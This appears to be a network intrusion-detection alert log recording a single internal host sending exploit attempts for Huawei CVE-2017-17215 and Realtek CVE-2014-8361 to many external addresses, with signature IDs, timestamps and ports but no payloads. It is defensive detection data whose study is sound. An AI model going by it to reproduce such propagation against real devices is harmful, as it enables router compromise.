ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.196.103

Timestamp:	07/20/24-23:01:37.217137
SID:	2835222
Source Port:	51432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 151.151.89.112

Timestamp:	07/20/24-23:01:33.871572
SID:	2027339
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.25.126

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	53694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.74.188.78

Timestamp:	07/20/24-23:01:19.335313
SID:	2829579
Source Port:	53532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.165.222

Timestamp:	07/20/24-23:01:07.682290
SID:	2829579
Source Port:	47046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.246.243.194

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	39144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.0.122.122

Timestamp:	07/20/24-23:01:11.454991
SID:	2835222
Source Port:	47518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.154.180.60

Timestamp:	07/20/24-23:01:33.038711
SID:	2829579
Source Port:	43518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.133.33

Timestamp:	07/20/24-23:01:19.334353
SID:	2829579
Source Port:	49900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 76.61.195.47

Timestamp:	07/20/24-23:01:33.260590
SID:	2025132
Source Port:	57050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 211.247.22.129

Timestamp:	07/20/24-23:01:13.334111
SID:	2831300
Source Port:	49022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 149.126.253.193

Timestamp:	07/20/24-23:01:22.995297
SID:	2025132
Source Port:	47324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.171.125.50

Timestamp:	07/20/24-23:01:13.335233
SID:	2027339
Source Port:	40286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.30.219.131

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.22.213

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	56256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.23.204.217

Timestamp:	07/20/24-23:01:29.172557
SID:	2831300
Source Port:	43476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.66.15.3

Timestamp:	07/20/24-23:01:33.030188
SID:	2829579
Source Port:	50170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.116.171.252

Timestamp:	07/20/24-23:01:33.056745
SID:	2829579
Source Port:	58524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 223.125.41.63

Timestamp:	07/20/24-23:01:30.742438
SID:	2027339
Source Port:	34028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 78.159.95.203

Timestamp:	07/20/24-23:01:29.176022
SID:	2027339
Source Port:	47400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.206.31

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	43470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.209.91.142

Timestamp:	07/20/24-23:01:13.329563
SID:	2027339
Source Port:	33366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 14.235.67.126

Timestamp:	07/20/24-23:01:34.958932
SID:	2831300
Source Port:	58872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 90.112.65.145

Timestamp:	07/20/24-23:01:34.980138
SID:	2831300
Source Port:	59224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.119.228.219

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	55214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 131.234.185.229

Timestamp:	07/20/24-23:01:33.190553
SID:	2025132
Source Port:	58680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 41.37.91.19

Timestamp:	07/20/24-23:01:29.745031
SID:	2025132
Source Port:	50792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.160.22.239

Timestamp:	07/20/24-23:01:37.122115
SID:	2835222
Source Port:	54322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 120.128.124.111

Timestamp:	07/20/24-23:01:33.856930
SID:	2027339
Source Port:	36458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.178.194.185

Timestamp:	07/20/24-23:01:34.918353
SID:	2027339
Source Port:	58312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 191.59.144.253

Timestamp:	07/20/24-23:01:24.075435
SID:	2027339
Source Port:	58444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.152.67.254

Timestamp:	07/20/24-23:01:24.080444
SID:	2027339
Source Port:	51424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.247.22.129

Timestamp:	07/20/24-23:01:13.334111
SID:	2027339
Source Port:	49022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 180.166.72.99

Timestamp:	07/20/24-23:01:32.452250
SID:	2025132
Source Port:	51456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.152.27.139

Timestamp:	07/20/24-23:01:33.916849
SID:	2027339
Source Port:	59724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 164.158.91.189

Timestamp:	07/20/24-23:01:34.920034
SID:	2831300
Source Port:	52544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.223.158.9

Timestamp:	07/20/24-23:01:14.428293
SID:	2835222
Source Port:	44196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 190.106.73.53

Timestamp:	07/20/24-23:01:11.468893
SID:	2835222
Source Port:	34810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.177.233

Timestamp:	07/20/24-23:01:25.285323
SID:	2829579
Source Port:	48382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.56.149

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	55434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.156.155.77

Timestamp:	07/20/24-23:01:06.868931
SID:	2027339
Source Port:	35782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.146.47.133

Timestamp:	07/20/24-23:01:13.332965
SID:	2027339
Source Port:	56824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 172.76.44.174

Timestamp:	07/20/24-23:01:06.201519
SID:	2025132
Source Port:	46384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 94.172.116.232

Timestamp:	07/20/24-23:01:34.945021
SID:	2831300
Source Port:	45642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.124.177.160

Timestamp:	07/20/24-23:01:37.227353
SID:	2835222
Source Port:	49488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.203.170.108

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	45202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 142.218.73.42

Timestamp:	07/20/24-23:01:14.396963
SID:	2835222
Source Port:	35652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 78.159.95.203

Timestamp:	07/20/24-23:01:29.176022
SID:	2831300
Source Port:	47400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.254.134

Timestamp:	07/20/24-23:01:02.441031
SID:	2829579
Source Port:	41490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.134.165.127

Timestamp:	07/20/24-23:01:07.456843
SID:	2027339
Source Port:	36622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.237.137.71

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	48816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 217.168.109.210

Timestamp:	07/20/24-23:01:29.171040
SID:	2027339
Source Port:	54356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.33.157.33

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	33826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.173.180

Timestamp:	07/20/24-23:01:05.901568
SID:	2829579
Source Port:	35886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.103.42.133

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.51.85.189

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	34422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 1.52.127.148

Timestamp:	07/20/24-23:01:29.204277
SID:	2831300
Source Port:	54636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.32.178

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 211.77.142.174

Timestamp:	07/20/24-23:01:29.176022
SID:	2831300
Source Port:	46372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.191.255

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	33632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.91.143.191

Timestamp:	07/20/24-23:01:06.142758
SID:	2027339
Source Port:	39248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.138.117

Timestamp:	07/20/24-23:01:11.478032
SID:	2835222
Source Port:	54276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.100.22.77

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	59234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.122.67.226

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	57740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.172.49.119

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	43780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 59.88.136.75

Timestamp:	07/20/24-23:01:32.971164
SID:	2025132
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 167.165.86.177

Timestamp:	07/20/24-23:01:11.477507
SID:	2835222
Source Port:	42950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 220.158.230.42

Timestamp:	07/20/24-23:01:05.764414
SID:	2025132
Source Port:	60450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 99.76.24.125

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	43052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 149.189.66.2

Timestamp:	07/20/24-23:01:34.965835
SID:	2831300
Source Port:	47694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 114.78.57.39

Timestamp:	07/20/24-23:01:34.913413
SID:	2831300
Source Port:	48560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.174.108.83

Timestamp:	07/20/24-23:01:34.566000
SID:	2027339
Source Port:	33046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 115.118.201.201

Timestamp:	07/20/24-23:01:06.232901
SID:	2025132
Source Port:	56876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.213.20.127

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	51366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 165.96.229.239

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	36474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 210.189.81.4

Timestamp:	07/20/24-23:01:34.899868
SID:	2831300
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 199.206.179.25

Timestamp:	07/20/24-23:01:34.918354
SID:	2831300
Source Port:	46300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 19.130.123.151

Timestamp:	07/20/24-23:01:13.334997
SID:	2831300
Source Port:	53592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 134.76.14.241

Timestamp:	07/20/24-23:01:13.330357
SID:	2831300
Source Port:	48528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.112.106.164

Timestamp:	07/20/24-23:01:13.329247
SID:	2027339
Source Port:	37792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 169.73.158.246

Timestamp:	07/20/24-23:01:06.330646
SID:	2025132
Source Port:	41132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.245.95

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	38440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.32.197.143

Timestamp:	07/20/24-23:01:19.231068
SID:	2829579
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.253.214

Timestamp:	07/20/24-23:01:02.412914
SID:	2829579
Source Port:	35696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.231.162.190

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.107.156

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	46406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 72.222.174.251

Timestamp:	07/20/24-23:01:06.544420
SID:	2025132
Source Port:	46610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.185.55.220

Timestamp:	07/20/24-23:01:29.204277
SID:	2027339
Source Port:	39460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.193.78.117

Timestamp:	07/20/24-23:01:22.782671
SID:	2829579
Source Port:	57826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.138.223.143

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	44952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.235.40.59

Timestamp:	07/20/24-23:01:32.490422
SID:	2027339
Source Port:	34704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.114.30

Timestamp:	07/20/24-23:01:11.478031
SID:	2829579
Source Port:	41290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.65.12

Timestamp:	07/20/24-23:01:33.081950
SID:	2835222
Source Port:	51934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 149.86.2.31

Timestamp:	07/20/24-23:01:13.330806
SID:	2831300
Source Port:	43954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.202.138

Timestamp:	07/20/24-23:01:22.786544
SID:	2829579
Source Port:	38358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 168.236.58.106

Timestamp:	07/20/24-23:01:13.332899
SID:	2027339
Source Port:	55020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.131.179

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	60832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 98.212.47.174

Timestamp:	07/20/24-23:01:06.882553
SID:	2025132
Source Port:	47060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.60.159.225

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	44024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.13.42

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	56822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.162.156.187

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	35378
